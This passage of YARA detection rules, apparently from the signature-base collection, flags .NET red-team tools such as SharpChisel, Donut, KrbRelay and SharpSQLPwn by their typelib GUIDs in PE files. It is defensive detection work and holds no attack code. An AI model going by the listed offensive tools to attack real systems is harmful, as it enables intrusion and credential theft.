		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "4e7479d36ce78332d2224f16bc2f3059baa418f3035bca8b1ae1e5053dd4d3c3"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "b77fdab5-207c-4cdb-b1aa-348505c54229" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpchisel : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "3b7e6703-ebe8-5a98-839f-7d0349ab483f"
		date = "2021-01-21"
		modified = "2025-08-15"
		reference = "https://github.com/shantanu561993/SharpChisel"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4125-L4138"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b2efa0f3757bf93a677d1faea14a71d2e63f45de99b7c9e55a951e6c401f6bd8"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "f5f21e2d-eb7e-4146-a7e1-371fd08d6762" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpscribbles : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "47125b76-9388-5372-8810-d198f623367a"
		date = "2021-01-21"
		modified = "2025-08-15"
		reference = "https://github.com/V1V1/SharpScribbles"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4140-L4154"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "e4cff3fb3540fa1e189c71584889d07111ccc4a340c78011213819f206631446"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "aa61a166-31ef-429d-a971-ca654cd18c3b" ascii wide
		$typelibguid1lo = "0dc1b824-c6e7-4881-8788-35aecb34d227" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpreg : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "d89b07b0-bb29-5c77-888b-322e439b4c82"
		date = "2021-01-21"
		modified = "2025-08-15"
		reference = "https://github.com/jnqpblc/SharpReg"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4156-L4169"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "d483e590310d69df4a0267ae3091067deb8698526dd8069862a944a6b1faed05"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "8ef25b00-ed6a-4464-bdec-17281a4aa52f" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Memevm : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "c98d84d5-4b0a-53df-b8d4-0b360930eb0c"
		date = "2021-01-21"
		modified = "2025-08-15"
		reference = "https://github.com/TobitoFatitoRE/MemeVM"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4171-L4186"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "88f4b9d0b3050ad676a54a58ea8f6a02fb07041db404c9d84f25fdda6ff3df4a"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "ef18f7f2-1f03-481c-98f9-4a18a2f12c11" ascii wide
		$typelibguid1lo = "77b2c83b-ca34-4738-9384-c52f0121647c" ascii wide
		$typelibguid2lo = "14d5d12e-9a32-4516-904e-df3393626317" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpdir : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "f64ed564-d198-59e8-9abe-b2814b95c85f"
		date = "2021-01-21"
		modified = "2025-08-15"
		reference = "https://github.com/jnqpblc/SharpDir"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4188-L4201"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "a98ee516931d08d82fb28749130be7d8007a8ac2935fd6007bae27820e216a92"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "c7a07532-12a3-4f6a-a342-161bb060b789" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Atyourservice : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "3077dd0c-6936-5340-8da9-e8643de4d864"
		date = "2021-01-21"
		modified = "2025-08-15"
		reference = "https://github.com/mitchmoser/AtYourService"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4203-L4216"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "c15c466ff048af2818cf9b59794786ba6d11f70d7dee5ef5ee5f050a9b547790"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "bc72386f-8b4c-44de-99b7-b06a8de3ce3f" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Lockless : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "f9b31f57-d721-5b6c-be63-b8309cba788a"
		date = "2021-01-21"
		modified = "2025-08-15"
		reference = "https://github.com/GhostPack/LockLess"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4218-L4231"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "57e09a929cc90c399068fb00ddd00c462df34d285d51273aedf27220a0647a38"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "a91421cb-7909-4383-ba43-c2992bbbac22" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Easynet : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "8408a057-4910-5d7b-80bc-78df17c95bf7"
		date = "2021-01-21"
		modified = "2025-08-15"
		reference = "https://github.com/TheWover/EasyNet"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4233-L4248"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "75f69a226391fc6da86c6995295addbefe0a7e1a9ff972f211174a845816061f"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "3097d856-25c2-42c9-8d59-2cdad8e8ea12" ascii wide
		$typelibguid1lo = "ba33f716-91e0-4cf7-b9bd-b4d558f9a173" ascii wide
		$typelibguid2lo = "37d6dd3f-5457-4d8b-a2e1-c7b156b176e5" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpbyebear : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "4a7f2514-2519-5fd5-9d17-110a67f829e7"
		date = "2021-01-21"
		modified = "2025-08-15"
		reference = "https://github.com/S3cur3Th1sSh1t/SharpByeBear"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4250-L4264"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "f39d756b6e0b8f9037d862bdfa9b14fc2eeddf0eafad805892b8b02410f78c63"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "a6b84e35-2112-4df2-a31b-50fde4458c5e" ascii wide
		$typelibguid1lo = "3e82f538-6336-4fff-aeec-e774676205da" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharphide : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "928e00c1-549a-58f5-9e7e-982a4319691a"
		date = "2021-01-21"
		modified = "2025-08-15"
		reference = "https://github.com/outflanknl/SharpHide"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4266-L4279"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "62264aafeafe98ce23e7c03ce75be750ab95d77d3523c0748bdcb2f50d0c04cb"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "443d8cbf-899c-4c22-b4f6-b7ac202d4e37" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpsvc : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "cbc1d7d4-f3b4-5d02-84ae-621398cb7b51"
		date = "2021-01-21"
		modified = "2025-08-15"
		reference = "https://github.com/jnqpblc/SharpSvc"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4281-L4294"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "cb91c4cd858a49f5cf437d3d1fb173afa7fe44442d41ea8533797007003c35d4"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "52856b03-5acd-45e0-828e-13ccb16942d1" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpcrasheventlog : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "85d31989-ad96-5005-a747-8a19a67fdd80"
		date = "2021-01-21"
		modified = "2025-08-15"
		reference = "https://github.com/slyd0g/SharpCrashEventLog"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4296-L4309"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "f53cfa44168a3ed81370ebb61153b6fab521801ffef33ace23aa8ed3376688eb"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "98cb495f-4d47-4722-b08f-cefab2282b18" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Dotnettojscript_Languagemodebreakout : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "8c8cf79f-8e69-5293-b27a-1f8593061627"
		date = "2021-01-21"
		modified = "2025-08-15"
		reference = "https://github.com/FuzzySecurity/DotNetToJScript-LanguageModeBreakout"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4311-L4324"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "de83b8138f49fe6aced5d9ebe77104f780496630f35550fbf0244429a2cb4917"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "deadb33f-fa94-41b5-813d-e72d8677a0cf" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpermission : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "d5027f51-f3ca-53cd-96d7-c355b5c2e6fa"
		date = "2021-01-21"
		modified = "2025-08-15"
		reference = "https://github.com/mitchmoser/SharPermission"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4326-L4339"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "061a7ba9fb838b59a96e480356309af0c4b02d3ba3f2e83944c8dd98b739f6b6"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "84d2b661-3267-49c8-9f51-8f72f21aea47" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Registrystrikesback : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "1577ed24-0e17-54f9-bc29-bb209acf9645"
		date = "2021-01-21"
		modified = "2025-08-15"
		reference = "https://github.com/mdsecactivebreach/RegistryStrikesBack"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4341-L4354"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "1e2aa9ddf6cbf35cb636e35c18159468ec98eb2c30078c2a1a2a635d14599959"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "90ebd469-d780-4431-9bd8-014b00057665" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Clonevault : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "3340a095-d926-5c85-b7ed-03151712538d"
		date = "2021-01-21"
		modified = "2025-08-15"
		reference = "https://github.com/mdsecactivebreach/CloneVault"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4356-L4369"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "830802635e6fc9e364ec574bc9f04b062100c46bfbed7029f437c0392ce983bc"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "0a344f52-6780-4d10-9a4a-cb9439f9d3de" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Donut : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "564dfd0a-af9b-505f-a6f0-de2a5c5c63f3"
		date = "2021-01-21"
		modified = "2025-08-15"
		reference = "https://github.com/TheWover/donut"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4371-L4387"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "aae1ca872f60ddc6919938e55d98d27bf88fb382e8d47c06cfc3d3e795ce9f2a"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "98ca74c7-a074-434d-9772-75896e73ceaa" ascii wide
		$typelibguid1lo = "3c9a6b88-bed2-4ba8-964c-77ec29bf1846" ascii wide
		$typelibguid2lo = "4fcdf3a3-aeef-43ea-9297-0d3bde3bdad2" ascii wide
		$typelibguid3lo = "361c69f5-7885-4931-949a-b91eeab170e3" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharphandler : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "b71198a9-4d00-5d75-bc36-7c40655c84a3"
		date = "2021-01-21"
		modified = "2025-08-15"
		reference = "https://github.com/jfmaes/SharpHandler"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4389-L4403"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "3aee0d00306603786fdcf828dc2b1a2faed6c8e651b56eb1985c1b640966da20"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "46e39aed-0cff-47c6-8a63-6826f147d7bd" ascii wide
		$typelibguid1lo = "11dc83c6-8186-4887-b228-9dc4fd281a23" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Driver_Template : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "539f88c5-e779-55e0-98df-299a9068de9b"
		date = "2021-01-21"
		modified = "2025-08-15"
		reference = "https://github.com/FuzzySecurity/Driver-Template"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4405-L4418"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "6d8e59b58b7d9d15b9bbafd70a2e303e2b275f9a81fc66ea60b1ffd4a4601207"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "bdb79ad6-639f-4dc2-8b8a-cd9107da3d69" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Nashavm : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "3abbf636-01f4-547a-98c0-d7bfec07e31a"
		date = "2021-01-21"
		modified = "2025-08-15"
		reference = "https://github.com/Mrakovic-ORG/NashaVM"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4420-L4433"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b472d072c39e35c476fa9f0fbca8bf0125ca9359f2e6aac7da58f66ea1b11ed6"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "f9e63498-6e92-4afd-8c13-4f63a3d964c3" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpsqlpwn : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "b533d61a-8693-5c3c-8b31-2117262cad4e"
		date = "2022-11-21"
		modified = "2025-08-15"
		reference = "https://github.com/lefayjey/SharpSQLPwn.git"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4435-L4448"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "e9210d12c7a8d5973e33aa7bb559ce1c744fd7a810979bec37f95d731c3b50ac"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "c442ea6a-9aa1-4d9c-9c9d-7560a327089c" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Group3R : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "0571d71e-50ca-5c1b-b750-34acc2d06687"
		date = "2022-11-21"
		modified = "2025-08-15"
		reference = "https://github.com/Group3r/Group3r.git"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4450-L4464"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "898569553257991c3776835ec10d5fae697e55bca9c14667ff72c079a095bbf1"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "868a6c76-c903-4a94-96fd-a2c6ba75691c" ascii wide
		$typelibguid1lo = "caa7ab97-f83b-432c-8f9c-c5f1530f59f7" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Tokenstomp : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "e4266969-ab03-50dc-b5b1-f4bb1c9846f4"
		date = "2022-11-21"
		modified = "2025-08-15"
		reference = "https://github.com/MartinIngesen/TokenStomp"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4466-L4479"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "931950e70ecfd3e87e535b32bd8af43d70b36670d5e0142e2fb95ed92c85fbd9"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "8aac271f-9b0b-4dc3-8aa6-812bb7a57e7b" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Krbrelay : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "3f59986c-8bd8-5e70-b3eb-038247d1ccd7"
		date = "2022-11-21"
		modified = "2025-08-15"
		reference = "https://github.com/cube0x0/KrbRelay"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4481-L4495"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b5f8a3f6ba7ba5fa59cdc52337f92256257ec0994ae16fce074d70ad5afa3bc6"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "ed839154-90d8-49db-8cdd-972d1a6b2cfd" ascii wide
		$typelibguid1lo = "3b47eebc-0d33-4e0b-bab5-782d2d3680af" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sqlrecon : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "f9ea5283-0a5c-5bde-966c-80869ee25888"
		date = "2023-01-20"
		modified = "2025-08-15"
		reference = "https://github.com/skahwah/SQLRecon"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4497-L4510"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "d1cf5a34a09ed323aeee69080e2f046b613f18294328529a4cca1c49c14da575"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "612c7c82-d501-417a-b8db-73204fdfda06" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Certify : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
